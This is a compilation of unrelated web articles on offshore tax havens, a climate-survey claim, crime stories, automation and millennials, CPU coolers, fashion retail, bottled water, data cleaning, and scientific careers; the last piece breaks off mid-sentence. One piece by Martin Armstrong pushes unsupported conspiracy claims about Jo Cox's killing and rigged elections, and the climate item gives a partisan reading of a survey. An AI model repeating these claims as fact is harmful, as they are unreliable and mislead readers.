-The prime minister has come under pressure to act against Britain's secretive offshore industry at June's G8 summit, as leaked evidence continued to mount that politicians and tycoons from all over the world have used the British Virgin Islands to hide funds.  The premier of Georgia, Bidzina Ivanishvili, was the latest to be named, along with prominent Pakistani, Indian, Thai and Indonesian figures – while there was fresh evidence of Britons acting as front directors for companies based in offshore havens such as the BVI.  A senior Liberal Democrat figure said the leaks showed the secret haven of the BVI "stains the face of Britain", as anti-corruption campaigners called for action.  Lord Oakeshott, the Lib Dem peer and a former Treasury spokesman, said: "How can David Cameron keep a straight face calling for the G8 to make big business pay tax when we let the BVI use British law and British protection to suck in billions in dirty money?"  He asked: "How much British aid paid to corrupt countries like Pakistan ends up behind a BVI brass plate?"  Despite mounting evidence that British sham directors are selling their names as fronts for offshore secrecy, the UK's Department for Business, Innovation and Skills (BIS) signalled that politicians are reluctant to move against them.  A report on the sham directors scandal has already been sent to ministers by the BIS deputy head of corporate governance, Jo Shanmugalingam. This followed a Guardian-BBC investigation last year into the leaked data which revealed that two dozen Britons, giving obscure offshore addresses, were purporting to control thousands of companies.  The latest example, which emerged on Thursday, is of a "general builder", Kevin Gaitely. He gives an address in south London and is registered as the director of Tamalaris Consolidated, a company blacklisted by the UK and US as a front for Iran. He is recorded as a director of a variety of other UK and BVI companies.  Ministers insist they are not ready to act. The BIS issued a statement on Thursday night saying: "The vast majority of companies and directors do comply with the law and they should not be unfairly burdened, so we will focus our attention on those who deliberately seek to break the law."  It is not illegal as such for Britons to rent out their names on behalf of offshore companies, so the BIS statement appears to be a recipe for inaction.  Meanwhile MPs criticised tax avoidance in Pakistan in a report issued on Thursday by the UK Commons committee on overseas aid. It said: "We cannot expect people in the UK to pay taxes to improve education and health in Pakistan if the Pakistani elite does not pay meaningful amounts of income tax."  Robert Palmer of the campaign group Global Witness repeated the call for Cameron to act, saying: "The massive cache of leaked documents demonstrates how hidden ownership of shell companies facilitates corruption, tax dodging and other crimes."  He said: "The time to deal with this issue is now. Given that he has pledged to tackle these secretive shell companies at this year's G8 summit in Northern Ireland, he and his fellow leaders must commit to publishing information on the people who ultimately control and own companies."  The names of thousands of owners of secret offshore companies are currently being published by the Washington-based International Consortium of Investigative Journalists (ICIJ), in collaboration with the Guardian and other international media.  This follows the leak to ICIJ of a hard drive containing 200GB of internal files of offshore incorporation agencies in the BVI, Singapore and the Cook Islands.  A spokesman for the Georgian prime minister, who had set up a BVI company called Bosherston Overseas Corp, said he had done everything in accordance with the law: "For the reporting period of 2011-12, prime minister Ivanishvili had no interest in the company … and therefore there was no obligation to report it in his [financial] declaration."  In India, an MP from the ruling Congress party, Gaddam Vivekanand, said after an offshore company, Belrose Universal, was revealed to have been listed in his name: "I do not remember being involved with such a company and have no connection with it.''  A spokeswoman for Stephen Riady, who heads one of Indonesia's richest families, said there was "nothing illegal or improper in protecting the privacy of one's own information" after the leaked files revealed that his family's Lippo Group conglomerate controlled a number of offshore entities.  The incorporation firm, TrustNet, refers to them as "Client A", noting "client does not want to be seen dealing offshore". Their agent, Gary Phair, instructed TrustNet staff to "delete any reference to 'C/- [Care of] Lippo".  Thai MP Nalinee Taveesin, currently an official trade representative and previously blacklisted by the US for allegedly helping Robert Mugabe avoid sanctions, denied knowing about the offshore company Hall Kingston International, listed in her name.  Her secretary said: "The information about her being [a company] shareholder is incorrect."  In Pakistan, Moonis Elahi, a politician from a prominent Punjab dynasty who was acquitted in a Pakistan court in 2011 of receiving payments in a corruption scandal, said he did not own offshore company Olive Grove Assets, listed to his name at the family residence in Lahore. He did not state whether he had previously owned the firm.
-A new Purdue University report and survey of on global warming finds that just 50 percent of scientists blame human causes, not the NASA-endorsed and widely distributed claim of 97 percent.  In a survey of nearly 7,000 in the agriculture field, found that most scientists agree that climate change is happening, but just 50.5 percent blame mankind.  “More than 90 percent of the scientists and climatologists surveyed said they believed climate change was occurring, with more than 50 percent attributing climate change primarily to human activities,” said the Purdue report published in the authoritative Bulletin of the American Meteorological Society and highlighted by MRC Business.  “Contrary to the repeated insistence of both climate alarmists and the media, scientists do not all agree on the standard climate alarmism talking points,” said MRC’s review of the scholarly report from one of the nation’s leading ag schools.  “More shocking was that just 53 percent of climatologists surveyed thought ‘climate change is occurring, and it is caused mostly by human activities.’ While that number of climatologists was small, the result is still significant,” added MRC.  Most of the farmers interviewed agreed that climate change is occurring, but just 8 percent blamed humans.  The media has often hyped the 97 percent figure and NASA heralds it on their website. But critics have long argued that the numbers is wildly inflated by liberals like President Obama who are pushing to control man-made pollution.  Paul Bedard, the Washington Examiner's "Washington Secrets" columnist, can be contacted at pbedard@washingtonexaminer.com.
-It seems that people want to announce everything on Facebook, even their imminent demise.  30-year-old Eric L. Ramsey knew his time was up, so he took out his cell phone and posted on his Facebook wall: "Well folkes [sic] im about to get shot. Peace"  As NBC News reports, some of his friends thought he was joking.  However, shortly after his 3:15 a.m. post, he was fatally shot by a policeman.  The police were searching for Ramsey after he allegedly kidnapped and raped a woman at Central Michigan University, set a house ablaze, stole a sanitation truck, and rammed into the cars of two Michigan State troopers.  The victim of the alleged rape had managed to escape and had alerted the police.  The Isabella County Sheriff, Leo Mioduszewki, said in a press release (PDF): "A short while later, a Crawford County Deputy located the sanitation truck, and the suspect ended up hitting the deputy's car head on. The deputy then got out of the patrol car, ran up to the cab of the pickup, and fired shots, fatally wounding the suspect."  It's not clear what time Ramsey was shot or how he had time to make the Facebook post.  Ramsey isn't the first alleged criminal to have used Facebook during his activity. Two years ago, a man held a woman hostage in a Utah hotel and posted constant updates to his Facebook account.  In the case of Ramsey, Facebook seems to have been the only way he could offer a short goodbye.
-Canada’s millennials are facing all sorts of challenges: high home prices, soaring tuition fees and record household debt.  But there’s one challenge that they’re well-placed to weather, says a new study: the rise of the machines.  Indeed.com came to this conclusion by looking at job seeker interest in a number of jobs that are at high-risk of automation.  They found that millennials could be protected from this trend because they’re just not that interested in occupying the jobs that robots could take away.  Millennials (aged 20 to 36 this year) were more interested than Baby Boomers and Generation Xers in “non-routine cognitive” jobs, which include management and professional positions, which are at “low risk of automation,” Indeed.com said.  By contrast, they were the least interested out of all three generations in “routine manual” jobs in industries such as construction, production and transportation.  This category includes many jobs that are at high risk of automation.  Baby Boomers were 54 per cent more likely to be interested in jobs in this area.  Indeed.com then gauged millennial interest in various jobs by narrowing down job search activity to a number of major occupational categories.  The chart above shows that millennials had more interest in “higher-skilled and non-routine occupations” that are “less likely to face replacement by automation,” Indeed.com said.  “In fact, only three of the 15 occupations — — preferred by millennials are routine occupations,” it added.  Baby Boomers were more likely to favour routine occupations, like transportation and material moving, or production, or installation, maintenance and repair.  Construction and extraction, and management were more preferred by Generation Xers.  READ MORE: Millennials in the workplace: why they’re not entirely to blame for everything  “Millennials are much less keen on occupations at high-risk of automation than other generations,” Indeed.com wrote.  “And so are better situated to ride out the disruption that will likely be caused by the coming waves of automation.”  Indeed.com’s study isn’t the first to examine millennials’ relationship with automation in the workplace.  The Deloitte 2017 Millennial Survey found that the generation sees the benefits of automation in terms of economic growth and productivity. They do, however, remain concerned that it could take away jobs that might otherwise be available to them.  They do, however, remain concerned that it could take away jobs that might otherwise be available to them.  But they’re most concerned about the risk of automation making workplaces more sterile and “impersonal” or “less human.”
-In addition to our own research and benchmarking, we reached out to Edmund Li of Zalman for help understanding some cooler design elements, so a big thanks to him for his time and knowledge. Let's cover how a heatsink works before anything else.  Picking the best CPU cooler / heatsink for your gaming rig is important if you're planning to keep things quiet or overclock your system; we'll cover noise level, cooling efficiency, and top-level thermal dissipation strategies for aftermarket coolers in this article.  We briefly covered CPU cooler engineering in our Tuniq Tower 120 review , and in continuing that topic, this post will discuss various cooler designs that pervade the market and which are best for you.  How Does a Heatsink Work?  Effective heatpipe design is significantly more complex than gluing a copper brick to a semiconductor, of course. Most of the action within a CPU heatsink happens inside of the copper heatpipes, which often use material phase changes and capillary action to cool microprocessors, but before we get into the specifics, let's cover the basics:  A heatsink's objective is to draw heat away from the hot, underlying chip, which generates heat as a result of its (relatively) high frequency and the electrical current coursing through the cores; improving core stability by amplifying voltage (in the form of vCore) will generate yet more heat, so in overclocking applications, aftermarket heatsinks are particularly noticeable. Stock heatsinks are much more simplistic than the aftermarket products we review, so we'll focus almost entirely upon aftermarket cooling technology for this article. The stock sinks tend to be a composition of a top-mounted fan, aluminum fins, and a flat copper base -- a far cry from the liquid-filled, sintered/grooved copper heatpipes that are used in aftermarket sinks.  Using a fusion of these heatpipes, fan design that minimizes air resistance, aluminum or copper fins to maximize surface area, and high thermal conductivity interfaces, heatsinks and coolers are able to conduct heat from the surface of the CPU and escort it out the back or top of the case. Much of this comes down to thermodynamics and sciences pertaining to thermal conductivity and materials engineering, which we'll cover on a very top-level in a section below (see: Materials & Thermal Conductivity).  We've put together the below image to help familiarize you with the inner-workings of a CPU heatsink and its related terminology:  The anatomy of a heatsink. This is NZXT's Respire T40 - click to enlarge.  The primary elements of a CPU cooler are all covered in this graphic. For the most part, the action happens in the heatpipes, but we're also faced with the actual heatsink, the overall surface area, the contact technology used to transfer heat to the pipes, and fan positioning.  The cooling pipeline for a heatsink is pretty straight-forward, here's what we're usually looking at:  - The CPU generates heat; this heat is absorbed through a conductive baseplate or directly touching heatpipes on the heatsink.  - The heat causes liquid within the heatpipe to undergo a phase change, resulting in its transition to a gas. A significant amount of energy is consumed during this phase change (in the form of heat), this is responsible for a lot of the heat reduction we experience. We then move to the dissipation stage...  - The heat (gas) travels up the pipe and eventually reaches the condensor, which condenses the gas back into liquid form and uses capillary action to transport it back to the evaporator.  - During its trip through the pipe, heat is absorbed by the adjoining (hopefully large) heatsink, where it is dissipated through the fins and cooled by the new, cool air being injected by the fan.  - The liquid is guided back down to the evaporator section of tubing (atop the CPU) through sintered, grooved, mesh, or composite tubing (explained further below), called a "wick" or "capillary structure." Capillary pressure is created by the wick, forcing coolant to return to the evaporator where it can be re-used.  Pretty cool stuff, right?  Yeah, yeah. What Makes a Good CPU Cooler / Heatsink for my purposes?  All of this information can be used in buying decisions to help weed through the ever-increasing amount of heatsinks available. Understanding the basic physics behind a heatsink's functionality helps us determine what design and engineering elements govern a quality product; as always, if you'd like more direct input from us on your system building endeavors, feel free to comment below or post your question on our hardware forums!  Let's expand on each of the previous topics:  Materials & Thermal Conductivity  Materials have everything to do with the efficiency of your heatsink. Starting with a basic chart of relevant materials makes sense:  Material Thermal Conductivity (W/mK) at 25C Air, atmospheric 0.024 Water 0.058 Thermalpaste (Avg) ~5.3 - 8.5 Aluminum 205 Copper 401  Given air's low thermal conductivity, it's evident why we can't just blow air past a CPU to achieve performance-grade cooling. Copper and aluminum, on the other hand, make excellent heatsink materials for our purposes: Copper is objectively the best material for gaming-grade PC heatsinks, but aluminum tends to be the most cost-friendly option and can still exhibit considerable cooling capacity given solid enough design. However, that doesn't change the fact that copper has the best conductive heat transfer potential; it's commendable to search for heatsinks that use copper heatpipe structures and copper fins, though copper fins are not required by any means -- we do always recommend copper heatpipes, though.  Conductive heat transfer is expressed through Fourier's Law as:  q = k A dT / s, where A = heat transfer area, k = the material's thermal conductivity, dT = temperature difference across the material, and s = material thickness. (Read more about this at Engineering Toolbox).  Despite copper and aluminum differences, we're still limited in cooling efficiency by the fan, the case airflow, and the surface area of the heatsink and surface roughness of the contact plate. As a sort-of side note, a lot of manufacturers use nickel plating or other aesthetic-only materials to cover up copper and aluminum, so don't just use looks to determine whether something is aluminum or copper. Cooler Master's T812 is an example -- it uses a copper base, but is coated in a way that almost makes it appear aluminum. Always check the specs for the final word.  Surface Area & Surface Roughness  Surface area was rated by our Zalman contact (Edmund Li) as one of the most important aspects to a cooler's functionality, and it makes sense: A larger chunk of grooved/finned metal provides more area for the heat to distribute itself. This is largely bolstered by fin designs that are optimized to maximize surface area, further enabling the unit's ability to cool.  Luckily, this is one of those items that's pretty simple to shop for - big being better, in this case - just make sure you choose something that makes sense for your system. Grabbing the heaviest heatsink out there won't matter if it doesn't fit in the case and puts too much strain on the CPU or motherboard. Just grabbing any massive aluminum heatsink is probably not for the best, of course, given the importance of heatpipes, surface smoothness, and copper's place in the world.  Surface roughness is a measurement of the base plate's smoothness (measured in microinches) and overall ability to connect directly with the surface of the CPU. In a perfect world, there would be no thermalpaste and the copper base plates would come in direct, flush, perfectly smooth contact with the CPU... but we don't live in a perfect world, and if we did, I'd be playing games while floating in a tube of water, not writing about heatsinks.  The reason we even need thermalpaste, as we explained in this previous post, is because microscopic divets in the surface of the connecting materials create air pockets. Air gets trapped in these pockets at high temperatures, causing uneven thermal distribution and resulting in hotter core temps. A thermal interface, while significantly lower thermal conductivity than pure copper or aluminum, provides an air-tight sealant between the divets that allows heat to cleanly migrate from the CPU surface to the cooler base plate. Smoother is better.  Thermalpaste's thermal conductivity will impact the temperature moderately, but not normally enough where it's justifiable to spend lots of money on thermal compound. If you're doing serious overclocking and need every single degree you can muster, then by all means, consider a tube of MX-4. But for most of us, 5.3W/mK - 6.x W/mK is more than enough to keep things under control. And it's affordable.  Heatpipe Exposure and Wick / Capillary Design  And now we're back to heatpipes! There are two prevailing chamber designs in the CPU heatsink market: Vapor chambers and traditional capillary heatpipes. We'll cover the latter first due to their dominance.  Source.  As this image shows so well, a heatpipe contains a very small amount of coolant or liquid (normally a mix of ammonium and ethanol or distilled water) which undergoes chemical phase changes - this is the catalyst for our reduced temperatures. The evaporator (CPU surface region) evaporates the liquid, where it travels in gaseous form toward the condensor. The condensor then—you guessed it—condenses the gas back to liquid form, where it travels down grooved, sintered, metal mesh, or composite tubing as a result of capillary action.  The grooved wick design looks precisely like you'd think -- it's grooved cleanly down the interior of the tube, meanwhile the sintered design carries a more foamy and porous look. Metal mesh designs are more common among consumer heatsinks and vaguely resemble a basket's woven pattern. Thermolab cut open some heatpipes to reveal their insides, which makes the explanation a bit easier.  Left to right: Sintered, Grooved, Mesh Weave. Source: Thermolab.  Zalman uses a fourth design—composite heatpipes—which mix copper powder inside of the pipe to help aid in thermal transfer (the steam travels faster).  Composite and sintered heatpipes have much higher production cost than grooved pipes; as for which makes a "better" heatsink, it really comes down to individual product testing due to the many other variables -- but composite and sintered heatpipes are preferable, albeit rare.  Heatpipes connected directly to the surface of the CPU will cool it more efficiently for a short period of time (we were told "about an hour" by Zalman), but as heat builds and time progresses, that tends to equalize; direct touch heatpipes are not often noticeably more effective than polished base plates when it comes to endurance cooling. What is noticeable, though, is a copper base versus an aluminum one -- you'll want copper exposed directly to the CPU for best heat wicking potential.  Polished copper baseplates will give off a "mirror finish" shine, like the one on this 9900Max.  Vapor changes are a little bit different and aren't quite as common, but are still worth a quick mention: Vapor chambers are used for disproportionately high, localized heat generation by processing units; a vapor chamber helps spread this additional heat more evenly across the fins within the heatsink (rather than favoring fins in close proximity to the hotspot). Cooler Master's 812 uses both vapor chambers and heatpipes, and they created this image to help explain their usage:  It's effectively the same as a heatpipe in its functionality, they just use a slightly different design to attract location-specific heat.  Fan Positioning & Noise Reduction  Noise levels are always going to be a problem with small fans, but fan positioning and cooling optimization can help reduce the requirement of high RPMs and high decibel levels.  Fans generate noise within a CPU cooler for a few primary reasons: Bearing type, fan size and RPM, and rattling within the cage. Of these, only rattling is unique to CPU coolers -- the rest are covered by our fan bearings overview / guide.  Rattling is normally a result of poor fan positioning and design. The Tuniq Tower 120 Extreme cooler we reviewed had rubberized screws to prevent rattling, Zalman uses a centralized fan that is detached from the fins (theoretically the quietest design), and other coolers use a mix of brackets and mounting mechanisms that may or may not vibrate under load.  The centered fan design is interesting -- by placing the fan directly over the CPU and surrounding it with the fins (but not touching the two), the fan still pulls air cleanly through the entire unit without the added fun of rattling the cage.  Aside from isolated fans, it's good to look for units with rubberized mounting plates/screws or otherwise stable brackets that can better withstand high RPMs. More fans are always going to be beneficial for cooling, of course, as they'll pull more air into the system and will more evenly cool the fins, but they aren't necessary; we saw a 3C decrease in temperature between the NZXT Respire T40 with one fan and the T40 with two fans -- so it is noticeable -- but the noise level will obviously increase as a result (though you could arguably just run them at lower RPMs). Decibels are calculated on a logarithmic scale (10*log(x) equates the difference in dB, where x is the number of fans of the same decibel level), so adding more fans to the system will always increase noise marginally for the most part.  Top Things to Look For in a CPU Cooler  Now that we have a thorough understanding of how coolers work, let's recap the most important design elements to look for; we're assuming a standard performance / gaming-grade build for this article's purposes:  Surface area. The larger the heatsink, the more readily it can dissipate heat. On this note, a larger base plate surface area means better transfer of heat from the CPU to the pipes and more room for mounting error.  Materials. Copper has about twice the thermal conductivity of aluminum and simply makes a better heatsink.  Number of heatpipes and their diameter. As a general rule, more heatpipes means better cooling. Additional vapor chambers may aid in heat diffusion for some units, but are not as common as traditional heatpipes.  Fan positioning and number of fans. More fans means better cooling, but potentially more noise. Find a balance between performance and noise that works for you; remember that you can always decrease the RPMs across the fans to neutralize some of the noise.  And there's one more thing: Aesthetics. It's silly, but if we're honest, a lot of the mid-range to high-end heatsinks will offer almost identical cooling performance. For performance and enthusiast applications, mounting an ugly piece of copper to your otherwise beautiful rig isn't preferable. Given negligible performance difference between coolers, pick the one that you think fits your rig's personality the best.  Let us know if you are debating between two heatsinks and need some help!  - Steve "Lelldorianx" Burke, with thanks to Edmund Li of Zalman for insight.  Special thanks to Tim "Space_man" Martin for his physics engineering insight.
-Never doubt how crazy people can get over cheap clothes.  After weeks of build up, H&M’s new collaboration with designer label Balmain launched today (Nov. 5). A bit of chaos was expected, as is generally the case with these collections, which offer low-end approximations of luxury designs at more accessible prices. But nobody fully anticipated the stampedes that took place as H&M stores across the globe opened their doors to anxious shoppers.  On London’s Regent Street, scuffles broke out among people who had been lined up for hours, according to The Guardian.  In Paris, customers flooded the store, knocking over displays and scrambling to grab anything they could.  In a GQ roundup of the chaos, videos show shoppers in Poland and Dubai pushing past security guards and climbing under a security gate to get inside as stores open.  In other cities, shoppers had lined up days before the collection. Would-be buyers in Sydney patiently spent up to 20 hours in the rain just for the chance to shop the collection. In Singapore, some people waited in line for three days. But the award for sheer endurance has to go to Seoul, where some had reportedly been lined up for a full week awaiting the launch.  Balmain has in recent years become a favorite of the social-media elite. Kim Kardashian and her siblings, Kendall and Kylie Jenner, are routinely spotted wearing the brand, and hanging out with creative director Olivier Rousteing, who is the most-followed French designer on Instagram. For the collaboration’s launch, Rousteing and H&M promoted the hashtag #HMBalmaination.  The H&M collaboration brings his expensive designs, which have earned some unflattering reviews from fashion critics, within reach of the millions who follow him and his coterie on their screens every day. But pieces still aren’t exactly cheap; some items, such as an elaborately beaded dress, cost more than $500.  Still, if you want to copy your favorite Insta-celebrity’s Balmain look, H&M’s version is easier to buy than the genuine article, and even if it is a compromised version, that’s hardly the point.  “I really want to get a beaded dress for my 18th and then put it out all over Instagram,” one shopper told the Guardian. “Although of course then I’ll never be able to wear it again. Not once it’s been on social media.”
-A man opened fire, shooting at passing vehicles Sunday along a highway near the Gateway Canyons Resort and Spa in western Colorado. The gunfire hit at least one vehicle before security guards, deputies and police raced to the scene and stopped the shooter, Mesa County authorities said.  Mesa County sheriff’s deputies, aided by Grand Junction police, the State Patrol and others, took Rick Whithed, 54, into custody, said Megan Terlecky, spokeswoman for the sheriff. Whithed was to be held in the Mesa County jail.  “He has minor injuries. He was not shot,” Terlecky said. “He was shooting at other vehicles. Shots were fired. At least one vehicle was hit.”  The shooting happened along Colorado 141. Security guards at Gateway Canyons, a luxury resort 55 miles southwest of Grand Junction, were first at the scene. They engaged the shooter, Terlecky said. The authorities notified people in homes, advising residents to shut windows,lock doors and stay inside. They closed Colorado 141 for a couple of hours.  Nobody else was hurt.
-Submitted by Martin Armstrong via ArmstrongEconomics.com,  There is disturbing opinion circulating about Jo Cox may have been assassinated to prevent a BREXIT vote. Many are starting to believe there is a conspiracy plot connecting the dots to ensure a sympathy vote to remain within the EU. People are pointing to the familiar tool of assassination often used to achieve political agendas.  Of course there is the Kennedy assassination that many believe was orchestrated to create the sympathy vote to start the Vietnam War when in fact Kennedy vetoed such a measure.  But the more recent assassination was on September 10th, 2003. Anna Lindh (1957 – 2003), was a Swedish Social Democratic politician who was a member of parliament from 1982 to 1985 and 1998 to 2003. Anna was elevated to minister for foreign affairs by prime minister Göran Persson in 1998. She was widely considered to be his successor as party chairman and there was much hope that she would become prime minister.  Lindh was a supported of adopting the euro. She became the face of joining the new EU and was to be on a TV debate when in Stockholm on the afternoon of September 10th around 4 pm, she was attacked with a knife while shopping in the ladies’ section of the Nordiska Kompaniet department. Lindh was to appear on a televised debate later that night on the referendum about Sweden’s adoption of the euro. At the time of the attack, Lindh was not protected by bodyguards from the Swedish Security Service.  Then there is the unsolved assassination of prime minister Olof Palme in 1986. Palme was accused of being anti-EU and more pro Soviet. His assassination did clear the way for Sweden to join the EU, which was finally presented in the Swedish European Union membership referendum of 1994 approved, which gain only a 52% majority.  While Silvio Berlusconi was not assassinated, the EU did stage a coup against him because he wanted to take Italy out of the euro. Then there was the Greek Prime Minister Georgios Andreas Papandreou who wanted the Greek people to vote on any bailout to stay in the euro. He was told by Brussels there would be no referendum.  The recent Austrian election was rigged with the closest race in history decided by the mailed-in ballots. As the days have passed, the results of the Austrian presidential election have become far more suspicious. The official results claimed the far-left candidate Alexander Van der Bellen defeated Norbert Hofer from the Freedom Party of Austria by just 31,000 votes, 50.35% to 49.65%. Again, the fate of the EU hung in the balance. The provisional result in voting reflected major polls released in the last days before the election, which all showed Hofer with the clear majority of public support over his rival coming in at 53% to 47%.  The Scottish youth called their referendum to leave the UK a “REVOLUTION” and felt very betrayed by what they called the over “65” crowd who just wanted their pension checks from London. It is clear that when people are voting with paper ballots, they vote can easily be rigged. There were countless photos of how they committed outright fraud to ensure there would be no “yes” vote.  David Cameron basically said reading between the lines – the younger generation lost and their fate is now settled “for a generation.” This degree of arrogance is not going to be helpful. Governments will not reform and that brings us only to the point of our rising civil unrest that will rip the systems apart. No one in charge will address the long-term. They are only concerned about one vote at a time.  So is there a conspiracy? Perhaps. They would never investigate themselves, so all this is has been suspicion. What is clear, has been that the EU will collapse if BREXIT is allowed. There is far too much at stake to allow this vote. The burning question will be, just how they cover it up and at what cost?
-20 Common Ways We Make Bad Decisions  Tim By  |  “You’re only human” is a quote we hear all too often, but it’s in our nature to make bad decisions. Attributes likes the bandwagon effect or overconfidence we’ve heard of before. Groupthink can hurt creativity and individuality, but it can also have dangerous outcomes.  Not mentioned in the infographic below, but directly related to the bandwagon effect is SEP or Somebody Else’s Problem. This is when a large issue of concern is ignored by the masses because no one believes it is their responsibility to step in. This can happen a lot in large crowds like riots.  Another bad habit is the ostrich effect. You know the saying “bury our heads in the sand” to mean ignoring a problem. We do this all the time. Things aren’t going well at work, maybe we won’t check our email as often. A bad economy can lead people to ignore the stock market more as to not see how much money they’ve lost.  Tim Co-Founder After a quick stint in Baton Rouge, Louisiana, Tim moved to Austin, Texas at the ripe age of one. He then spent the next 17 years there experiencing all that Austin had to offer. Nightlife, music, ...  19.8k
-PRESENTED in an unusually-shaped heavy glass bottle with outsized black lettering, it could be a fine vodka. On sale for £80 ($99) in Harrods, an upmarket department store in London, it has a price tag to match. In fact, it is a bottle of water. Harvested directly from Norwegian icebergs that are up to 4,000 years old, Svalbardi is one of hundreds of water brands that are sourced from exotic places and marketed as luxury products.  From the basic to the expensive, the market for bottled water is an attractive place to be. According to Zenith Global, a consulting firm, the global market has grown by 9% annually in recent years and is worth $147bn. The main reason is changing lifestyles. People are spending more time, and eating more of their meals, away from home. They are also switching from soft drinks and alcohol to healthier fare. Data from Beverage Marketing Corporation (BMC), another consultancy, show that consumption of bottled water overtook that of sugary soft drinks in America in 2016 (see chart).  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.  Basic brands, such as Aquafina from PepsiCo, compete on price and have slim margins. (The cost of the raw material, which comes from either natural or municipal sources, is next to nothing; the main costs are packaging, distribution and marketing.) At the other end of the scale, convincing customers to pay a lot should be hard when your product doesn’t have a distinctive taste and an alternative is freely available from the tap in most rich countries. But “premiumisation” is working. Though still a small part of the American market, really high-cost bottled water (selling for more than $1.30 a litre) has been one of its fastest-growing areas, says BMC.  Premium water is hardly a new idea. The Perrier brand, which is owned by Nestlé, a Swiss consumer-goods giant, and Evian, owned by Danone, a French one, have long emphasised the uniqueness of their natural sources to sell water. But the newest offerings are promoting a lifestyle. Coca-Cola’s premium water brand, which is advertised by Jennifer Aniston, is marketed as “inspirational” water for successful people. That is also the buzzword for PepsiCo’s LIFEWTR, launched in America with a 30-second ad during last month’s Super Bowl. For the fashion crowd, one range of Evian bottles features artwork from Christian Lacroix.  Adding flavour is another way to dress up water. Grocery stores stock fruit-flavoured waters and “plant” waters, such as coconut, maple or birch. Water that has been fortified with vitamins and minerals is a hit with exercise junkies. The market is small but lucrative: sales of flavoured water amount to only 4% of the volume of plain water sold, according to Zenith, but bring in 15% of the total revenue.  At the luxury end of the market, water has become more like wine, argues Michael Mascha, the author of a guide to fine water. In expensive restaurants the precise origin of water is what matters; many eateries offer water lists along with the wine selection. For power-lunchers in health-conscious Los Angeles, says Mr Mascha, buying an expensive bottle of water is a way to signal status.  High prices can be controversial, given that many people in poor countries have limited access to drinking water and environmental worries dog the industry. Transporting water from exotic places is costly; most plastic bottles languish in landfill sites; and some firms, such as Nestlé, have been accused by environmental groups of monopolising water sources at the expense of local communities, for instance during periods of drought in California. (Nestlé says it monitors environmental conditions around its source springs and that it adheres to sustainable practices.) Many brands address such concerns head-on. Svalbardi water is certified as carbon-neutral, for example; Coca-Cola funds drinking-water projects in Africa.  The thirst for posh water will only deepen, predicts Euromonitor, a market-research firm, as middle-class consumption in poorer countries catches up and as Westerners continue shunning unhealthy soft drinks. If so, the ingenuity seen so far in the bottled-water industry may be just a drip from the iceberg.
-Avete presenti quella sensazione di smarrimento che vi coglie quando qualcuno butta nel discorso un vocabolo straniero, di cui non sapete nulla? Avete presenti quella sensazione diche vi coglie quando qualcuno butta nel discorso un vocabolo straniero, di cui non sapete nulla?  mi è successo giovedì scorso all'evento è saltato fuori un termine che mai avevo sentito prima:  È quello cheall'evento #leprofessionidelfuturo , quando, fra una slide e l'altra,un termine che mai avevo sentito prima:  E tu sai cosa sono?  C'è lo spiega pic.twitter.com/hzfOZbBx1s Big Data, questi sconosciuti.E tu sai cosa sono?C'è lo spiega #leprofessionidelfuturo 23 marzo 2017  Igienista dei Dati?  Al massimo - complici alcuni vecchi fatti di cronaca... "pepati" - avevo sentito parlare di Igienista Dentale...  ...Ma dei Dati?  Per fortuna, in pochi minuti di presentazione, la nebbia si è diradata, tutto mi è parso più chiaro.  In fondo, è strano che non ci abbia mai pensato prima: ogni giorno, attraverso i social media, i siti di e-commerce, le iscrizioni a newsletter e altri servizi, e via dicendo, lasciamo per il Web un sacco di tracce, neanche fossimo Pollicino con i suoi sassolini!  I nostri nomi, i nostri indirizzi virtuali e fisici, i nostri acquisti - tanti piccoli tasselli che vanno a integrare database aziendali enormi, creati allo scopo di migliorare la nostra esperienza come utenti/clienti - o almeno così ci dicono i grandi brand.  Nel tempo, però, le informazioni che forniamo alle imprese possono perdere valore, deteriorarsi: abbiamo cambiato residenza senza avvisare, siamo passati alla concorrenza, oppure ci siamo dimenticati di essere già registrati e ci siamo iscritti di nuovo, magari con una casella di posta diversa...  Risultato?  Una mole non sempre coerente di dati, dove ridondanze e generalità ormai inutili abbondano.  Ecco allora la necessità di ripulire gli archivi , eliminando ciò che non serve più, correggendo gli errori e armonizzando i formati.  Una mansione importante e delicata, che qualcuno deve pur svolgere... largo al Data Hygienist, quindi!  Volendo, lo si potrebbe paragonare a un netturbino: invece che su strade coperte di immondizia, lotta contro refusi e doppioni.  non muore ma si trasforma, spostandosi in ambito Digitale; e non è di sicuro l'unico caso, Il concetto resta lo stesso - la mansione, minacciata dall'avvento dei Robot,, spostandosi; e non è di sicuro l'unico caso, come abbiamo visto  Già conosciuto all'estero, e in particolare negli USA, da alcuni anni, l'Igienista dei Dati si appresta ora a conquistare anche l'Italia - e con la fame di dati affidabili che ora consuma anche i business del nostro Paese, non dubito che il suo successo sia già assicurato.
-In the Editorial “Ten Simple Rules for Doing Your Best Research, According to Hamming” [1], Erren and colleagues discussed ten ideas originally presented by Hamming for how to do great science. I am grateful that the authors started this discussion. Scientific careers are very challenging, and there is a lack of training in many graduate programs to provide this kind of career meta-advice. Such discussions are a good starting point, and young scientists should take them seriously.  In the vein of promoting further debate and discussion, I provide here a different and perhaps deeper look at what makes a successful scientist. While I can't claim to have the reputation of Hamming, I grew up in a family of well-known scientists, and have had plenty of chances to observe the trajectories of scientific careers over my lifetime. Based on that experience, I propose the following as a somewhat distinct set of guidelines for doing the best research:  1. Don't worry about age, worry about being exposed to new ideas. While it appears that age plays a role in scientific creativity, it has not been well examined whether that role is biologically causative. There are many social changes that usually occur as anyone ages, which may play a greater role than biology does in the age-related creativity decline. Older scientists usually become boxed into their fields of expertise, and come to be seen as “experts.” As such, they are less likely to have their ideas directly challenged by others, and less likely to be exposed to radically new ideas or different fields. I have seen many anecdotal references to Einstein's creative powers reducing as he aged, as his best work was done in his 20s. But this ignores a major factor: during his creative years, he was a patent clerk who was seen as a “nobody,” whereas in his later years he was an eminent professor. Being a nobody has certain creative advantages—for one, there is not much to lose by promoting radical new ideas, because one has no reputation or established career at stake. Also, one is not expected to follow the “party line,” regardless of the latest scientific fashion that happens to be in vogue. Promoting new ideas can often be a minefield for one's career, since there is usually a long period of violent resistance to new ideas. Barry Marshall had to drink a culture of H. pylori to give himself an ulcer, in order to overcome resistance to the idea that this organism caused ulcers [2]. Now, more than 20 years later, he and co-discoverer Robin Warren have the Nobel Prize, and the role of H. pylori in ulcers is widely accepted. In today's competitive grant world, this phenomenon is exacerbated. It is dangerous to one's funding to go against the trend, and if there is a lab to support and mouths to feed, the disincentives are great. This phenomenon stifles creativity, perhaps far more than biological age does. If one is therefore concerned about retaining 